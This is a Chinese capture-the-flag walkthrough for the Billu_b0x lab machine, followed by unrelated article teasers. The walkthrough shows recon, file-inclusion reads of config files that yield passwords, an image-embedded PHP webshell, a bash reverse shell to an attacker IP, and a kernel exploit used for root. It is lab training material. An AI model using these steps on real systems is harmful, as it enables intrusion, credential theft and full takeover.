Billu_b0x靶机
信息收集
使用arp-scan 生成网络接口地址来查看ip
输入命令:
arp-scan -l
可以查看到我们的目标ip为192.168.187.153

nmap扫描端口开放
输入命令:
nmap -min-rate 10000 -p- 192.168.187.153
可以看到开放2个端口

nmap扫描端口信息
输入命令:
nmap -sC -sT -A -p 22,80 192.168.187.153

nmap漏洞脚本扫描
输入命令:
nmap --script=vuln 192.168.187.153
这里没有扫描可以利用的信息

查看web端
页面上有一个登录的地方,但是还不知道密码,不过提示了一句向我展示你的sql技巧,看样子是想让我们使用sql注入

扫描子目录
输入命令:
dirsearch -u http://192.168.187.153
可以发现一些子目录

输入命令:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.187.153 -t 50
这里也看到了一些子目录,等下访问看看

这个目录下查看到phpinfo()信息

查看php配置信息
在这个下面可以看到allow_url_fopen是on状态,可以允许本地文件包含

发现登录页面
这里看到了另一个新的页面,但是我们现在没有密码,先去找密码

发现文件包含页面
这里的test目录下看到了一个新的提示

翻译内容,看来是要我们加上file参数,有可能这里就是文件包含的位置,试一下

构造url语句
get请求验证
我们先尝试了get请求下的文件包含语句,但是发现没有成功
http://192.168.187.153/test.php?file=../../../etc/passwd

post请求验证
接下来尝试一下post请求的文件包含语句。这里可以使用bp来实现,也可以在kali中借助curl这个工具实现,这里使用的后者
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=…/…/…/etc/passwd
发现成功回显了信息,证明确实是存在本地文件包含

利用文件包含读取文件信息
既然已经证实存在了文件包含,那我们可以读取很多之前看不到的文件的信息了
查看add.php
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=add.php
add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码

拿到数据库的密码信息
查看c.php
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=c.php
在这里看到了疑似数据库的连接用户名和密码,等下可以去查看一下
billu:b0x_billu

登录数据库
返回phpmy页面尝试登录,发现成功登录。

发现版本信息
这里在右下角发现了很多版本的信息

发现用户信息
然后在这个位置又找到了一组登录的信息
biLLu:hEx_it

渗透思路
这里我们有三种思路可选
- 可以从phpmyadmin的版本入手,查找有无对应的漏洞
输入命令:
searchsploit phpMyAdmin 3.4.7
但是没有找到,所以这条路行不通

- phpmyadmin的相关配置文件一般都是config.inc.php
在我们当前可以利用文件包含阅读其他文件的基础上,我们可以查看这个配置文件中的内容和信息。可以猜测一下,这个配置文件的存放
位置就是在 phpMy的目录下,通过URL猜测路径默认在/var/www/phpmy下面
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=/var/www/phpmy/config.inc.php
直接发现了root用户的登录密码(我人傻了。这么简单吗,sql注入没用呢,主页面还没有登录呢,我勒个去!!!)
root:roottoor

尝试ssh登录
直接试试ssh登录root用户(还是很怀疑是不是有这么简单)
输入命令:
ssh root@192.168.187.153
输入密码roottoor 发现成功登录,然后直接找flag就行(我已经人傻了)

- 第三种就是正常思路了,可以去主页面登录用户名的信息,然后继续去做就可以
登录主页面
虽然上面的方法已经成功拿到了root权限,但是还是想着继续从其他方向突破试试那我们就回到主页面登录尝试一下,然后发现成功登录

这里登录进来后,又看到了文件上传的地点

制作图片木马
尝试过了weevely的加密木马,无法连接,所以还是老老实实反弹shell吧,准备好一张可以上传的图片,可以提前试一下,然后准备好我们的php文件,配置好ip和端口
输入命令:
cat 1.gif 123.php > 2.gif

成功合成了图片

上传图片木马
点击上传后,发现成功上传

现在先开启监听

结合之前扫描到的子目录,我们可以推测照片在uploaded_images/这个目录下,打开发现果然存在

我们打开我们上传的图片木马,回到kali中可以看到并没有反弹成功,可见直接打开图片,并不会执行代码

利用文件包含执行图片木马中的php语句
这里我们可以使用文件包含来执行图片里的php语句
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=/var/www/uploaded_images/3.gif

但是kali中无法反弹成功

查询文件包含的函数
这里不知道为什么失败,查询一下当前页面的文件包含函数是什么
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=test.php
发现是readfile()这个参数

经过上网搜查readfile的功能,是属于任意文件读取**。**无法执行php代码。所以我们上传的php反弹语句无法执行

漏洞挖掘
然后这里实在是没思路了,后来找了半天问了一下大佬,才知道在panel.php这个页面中存在本地文件包含漏洞
我们查看一下这个文件
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=panel.php
发现了include()这个函数,那我们可以在这里进行一个文件包含漏洞的利用

构造一句话木马
还是利用图片木马的原理,不过这次我们需要构造一句话木马

再次合成图片木马
输入命令:
cat 1.gif shell.php > 4.gif

上传图片木马
显示上传成功

文件包含漏洞利用
上传成功了,那我们就先试试有没有效果,bp抓包一下,load=/uploaded_images/4.gif&continue=continue
上面的cmd配置为cmd=cat%20/etc/passwd;ls 这里的空格必须使用url编码才能执行成功,然后在右面也可以看到返回值

那我们先开启监听

配置反弹语句
echo “bash -i >& /dev/tcp/192.168.187.128/8888 0>&1” | bash
由于之前就实验了必须使用url编码才能够执行语句,所以我们先将语句进行url编码

然后在bp中执行这段语句

执行以后就可以发现反弹shell成功了

提权思路
这里提权思路有这几种
sudo提权,suid提权,内核漏洞提权,计划任务提权
正常情况下,我们肯定是要一个个去试试的,对于这个靶机而言,经过尝试后,最终要使用的提权方法为内核漏洞提权
查找内核信息
输入命令:
uname -a

输入命令:
cat /etc/issue.net

查找漏洞
然后去查找有无对应的漏洞
输入命令:
searchsploit linux 3.13
这里找到了一个符合条件的漏洞文件,拿来试试

漏洞利用
首先将这个文件拷贝到桌面上
输入命令:
searchsploit -m 37292.c

然后开启http临时服务
输入命令:
python3 -m http.server 80

在靶机中使用wget命令下载文件(最好在/tmp目录下)

查看一下文件是否传输成功,发现没有问题

提权成功
编译,赋权,执行
输入命令:
gcc 37292.c -o exp
chmod 777 exp
./exp
执行完以后就发现已经是root权限了

相关文章:
Billu_b0x靶机
信息收集 使用arp-scan 生成网络接口地址来查看ip 输入命令: arp-scan -l 可以查看到我们的目标ip为192.168.187.153 nmap扫描端口开放 输入命令: nmap -min-rate 10000 -p- 192.168.187.153 可以看到开放2个端口 nmap扫描端口信息 输入命令&…...
GitHub+Picgo图片上传
Picgo下载,修改安装路径,其他一路下一步! 地址 注册GitHub,注册过程不详细展开,不会的百度一下 地址 新建GitHub仓库存放图片 ——————————————————————————————————————————…...
springboot的事务管理
在yml配置文件中添加以下:logging.level.org.springframework.jdbc.support.JdbcTransactionManagerdebug...
深入解析rsync:定义、架构、原理、应用场景及实战指南
前言 在现代数据管理和传输过程中,数据同步工具起着至关重要的作用。特别是在需要高效、可靠地在不同服务器或设备之间传输大量数据时,选择一款优秀的数据同步工具显得尤为重要。在众多工具中,rsync以其高效、灵活、可靠的特点,成…...
discuz手机版发帖提示“网络出现问题,请稍后再试”
大家好,我是网创有方。今天分享一个discuz发帖报错的问题。 问题描述:discuz手机网页端发帖提示“网络出现问题,请稍后再试”,但是实际上帖子已经发布成功。 本次记录下分析过程: 第一步:打开宝塔&#…...
图片如何去水印,PS 图片去水印的几种常见方法
在数字图像的世界里,水印常常被用来标识版权或防止未经授权的使用,但有时它们却成为了美观的障碍。无论是出于个人偏好还是专业需求,去除图片上的水印已经成为一项常见的任务。 Adobe Photoshop 作为行业标准的图像编辑软件,提供…...
【从零开始实现stm32无刷电机FOC】【实践】【5/6 stm32 adc外设的高级用法】
目录 采样时刻触发采样同步采样 点击查看本文开源的完整FOC工程 本节介绍的adc外设高级用法用于电机电流控制。 从前面几节可知,电机力矩来自于转子的q轴受磁力,而磁场强度与电流成正比,也就是说电机力矩与q轴电流成正相关,控制了…...
2407-mysql笔记
数据库(Database),简称db mariadbmysql 常见的数据库:mysql、oracle、高斯(Gauss)、redis、sqlserver、SQLite、HBase 一、SQL(Structured Query Language):结构化查询语言 1、作用ÿ…...
如何解决隐藏游戏服务器的源IP问题
在网络游戏领域,保护服务器的源IP地址不被轻易发现是一项重要的安全措施。游戏服务器的源IP一旦暴露,可能会遭受DDoS攻击、扫描和各种形式的安全威胁。然而,对于合法的游戏运营商而言,有时需要对服务器进行维护或调试,…...
云计算数据中心(一)
目录 一、云数据中心的特征二、云数据中心网络部署(一)改进型树结构(二)递归层次结构(三)光交换网络(四)无线数据中心网络(五)软件定义网络 一、云数据中心的…...
libwebrtc.a+exosip连接fS 环境部署tips
//运行FS服务器 sudo ./freeswitch -nc -nonat //公网sudo ./freeswitch //运行客户端 sudo ./fs_cli //加载模块 load mod_av load mod_verto0.Invite交互过程 1.fs码率设置 2.用户密码改动 3.数字签名的摘要 4.FS收不到ACK 5.公网部署 6.查看frewswitch都占用哪些端口 7.日志…...
第二证券:市场估值依然处于较低区域 适合中长期布局
A股中报成绩预告显示相比2024Q1,2024Q2企业产品销量或订单已有回暖,但价格反转暂未大面积到来,“量增价平、部分板块以价换量”是2024H1 A股成绩预告较显着的量价特征,这与微观库存周期有待回暖相匹配。此外中游部分环节出现不同程…...
开始Linux之路
人生得一知己足矣,斯世当以同怀视之。——鲁迅 Linux操作系统简单操作指令 1、ls指令2、pwd命令3、cd指令4、mkdir指令(重要)5、whoami命令6、创建一个普通用户7、重新认识指令8、which指令9、alias命令10、touch指令11、rmdir指令 及 rm指令(重要)12、man指令(重要…...
leetcode-三数之和
视频:https://www.bilibili.com/video/BV1bP411c7oJ/?spm_id_from333.788&vd_sourcedd84879fcf1be72f360461b01ecab0d6 从两数之和开始,排序后的两数之和,利用好升序的性质,可以将时间复杂度从on2降到on; class Solution …...
opencv—常用函数学习_“干货“_总
同样内容将拆解为一份份,发在我个人博客中 如http://t.csdnimg.cn/icOfX(非VIP文章),整理不易、感谢你的点赞收藏 目录 一、图像文件 1. imread:读取图像文件 2. imwrite:写入图像文件 3. imshow:显示图像 4. VideoCapture:捕获视频 二、创建Mat 1、创建Mat对…...
Spring Boot项目的控制器貌似只能get不能post问题
我这2天新建了一个Spring Boot项目测试,在控制器上写了两个接口,一个是支持Get方式访问,另一个支持Post方式访问,发现Get可以,而Post不行。前端Post后,报403,找不到这个方法。 一、原因 原因是…...
最新版智能修图-中文luminar ai 1.55(13797) 和 neo1.20,支持m芯片和intel芯片(绝对可用)
一。Luminar AI for macOS 完整版本 这个程序是第一个完全由人工智能驱动的图像编辑器。有了它,创建引人注目的照片是有趣的,令人惊讶的容易。它是一个独立的照片编辑器和macOS插件。 1.1 Luminar AI for macOS 轻轻地塑造和完善一个肖像打造富有表现…...
Open3D 最小二乘法拟合点云平面
目录 一、概述 1.1最小二乘法原理 1.2实现步骤 1.3应用场景 二、代码实现 2.1关键函数 2.2完整代码 三、实现效果 3.1原始点云 3.2matplotlib可视化 3.3平面拟合方程 前期试读,后续会将博客加入该专栏,欢迎订阅 Open3D点云算法与点云深度学习…...
【Django+Vue3 线上教育平台项目实战】登录功能模块之短信登录与钉钉三方登录
文章目录 前言一、几个关键概念1.HTTP无状态性2.Session机制3.Token认证4.JWT 二、通过手机号验证码登录1.前端短信登录界面2.发送短信接口与短信登录接口3.Vue 设置interceptors拦截器4. 服务端验证采用自定义中间件方式实现5. 操作流程及效果图如下: 三、通过第三…...
关于HBase、Phoenix、Flume、Maxwell 和 Flink
组件协同: HBase HBase 是一个分布式的、列存储的NoSQL数据库,它基于Google的Bigtable设计,特别适合存储海量的、稀疏的、非结构化或半结构化数据。HBase 提供了低延迟的随机读写能力,但其原生接口和数据模型较为复杂࿰…...
Cursor实现用excel数据填充word模版的方法
cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...
STM32+rt-thread判断是否联网
一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...
java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别
UnsatisfiedLinkError 在对接硬件设备中,我们会遇到使用 java 调用 dll文件 的情况,此时大概率出现UnsatisfiedLinkError链接错误,原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用,结果 dll 未实现 JNI 协…...
第25节 Node.js 断言测试
Node.js的assert模块主要用于编写程序的单元测试时使用,通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试,通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...
HBuilderX安装(uni-app和小程序开发)
下载HBuilderX 访问官方网站:https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本: Windows版(推荐下载标准版) Windows系统安装步骤 运行安装程序: 双击下载的.exe安装文件 如果出现安全提示&…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...
HarmonyOS运动开发:如何用mpchart绘制运动配速图表
##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...
LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》
这段 Python 代码是一个完整的 知识库数据库操作模块,用于对本地知识库系统中的知识库进行增删改查(CRUD)操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 📘 一、整体功能概述 该模块…...
push [特殊字符] present
push 🆚 present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中,push 和 present 是两种不同的视图控制器切换方式,它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...
